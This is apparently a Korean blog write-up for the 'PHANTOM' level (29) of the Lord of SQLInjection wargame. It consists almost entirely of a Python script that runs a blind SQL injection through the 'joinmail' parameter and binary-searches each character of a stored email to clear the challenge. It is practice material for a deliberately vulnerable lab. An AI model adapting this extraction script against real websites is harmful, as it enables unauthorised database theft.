본문으로 바로가기

LOS :: 29번 PHANTOM

category Wargame/LOS(rubiya) 2018. 8. 27. 16:54

WRITE UP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
 
url = "http://los.rubiya.kr/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
flag=""
 
print("[∞] flag : ", end='')
 
for i in range(1,27):
    a=0
    b=127
    while b-a!=0:
        center = a+(b-a)//2+1
        data['joinmail'= "1'*1 and if((select ord(mid(email,"+str(i)+",1)) from prob_phantom a where no=1)<"+str(center)+",1,0))#"
        res = requests.get(url, params=data, cookies=session)
        point = res.text.index("</table>")
        if "1" in res.text[point-15:point]:
            b=center-1
        else:
            a=center
    print(chr(a),end='')
    flag = flag + chr(a)
 
data['email']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] PHANTOM Clear!")
cs


'Wargame > LOS(rubiya)' 카테고리의 다른 글

LOS :: 31번 ZOMBIE  (0) 2018.08.27
LOS :: 30번 OUROBOROS  (0) 2018.08.27
LOS :: 28번 FRANKENSTEIN  (0) 2018.08.27
LOS :: 27번 BLUE_DRAGON  (0) 2018.08.27
LOS :: 26번 RED_DRAGON  (0) 2018.08.27